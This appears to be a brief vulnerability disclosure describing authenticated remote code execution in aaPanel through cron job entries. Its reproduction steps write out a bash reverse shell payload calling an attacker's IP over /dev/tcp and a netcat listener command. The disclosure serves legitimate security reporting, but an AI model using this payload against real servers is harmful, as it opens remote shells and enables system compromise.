This is authenticated RCE.
Vulnerability Description
During my testing/evaluation of aaPanel, I identified a flaw in how cron
jobs are handled, which enables an attacker to inject and execute arbitrary
commands remotely. Specifically:
-
An authenticated user can manipulate cron job entries in a way that
breaks out of the software to the server.
-
This leads to the execution of malicious code on the server hosting
aaPanel, potentially compromising the entire system.
Steps to Reproduce
1.
Log in to the aaPanel dashboard
2.
Create a new cron job with the payload: bash -c "bash -i >& /dev/tcp/XXXX/1234 0>&1" (XXXX is your ip)
3.
Save the cron job and trigger it (or wait for the scheduled execution).
Start a listener on the other side to receive: nc -lvnp 1234
4.
Observe the execution of the injected command on the server and RCE.
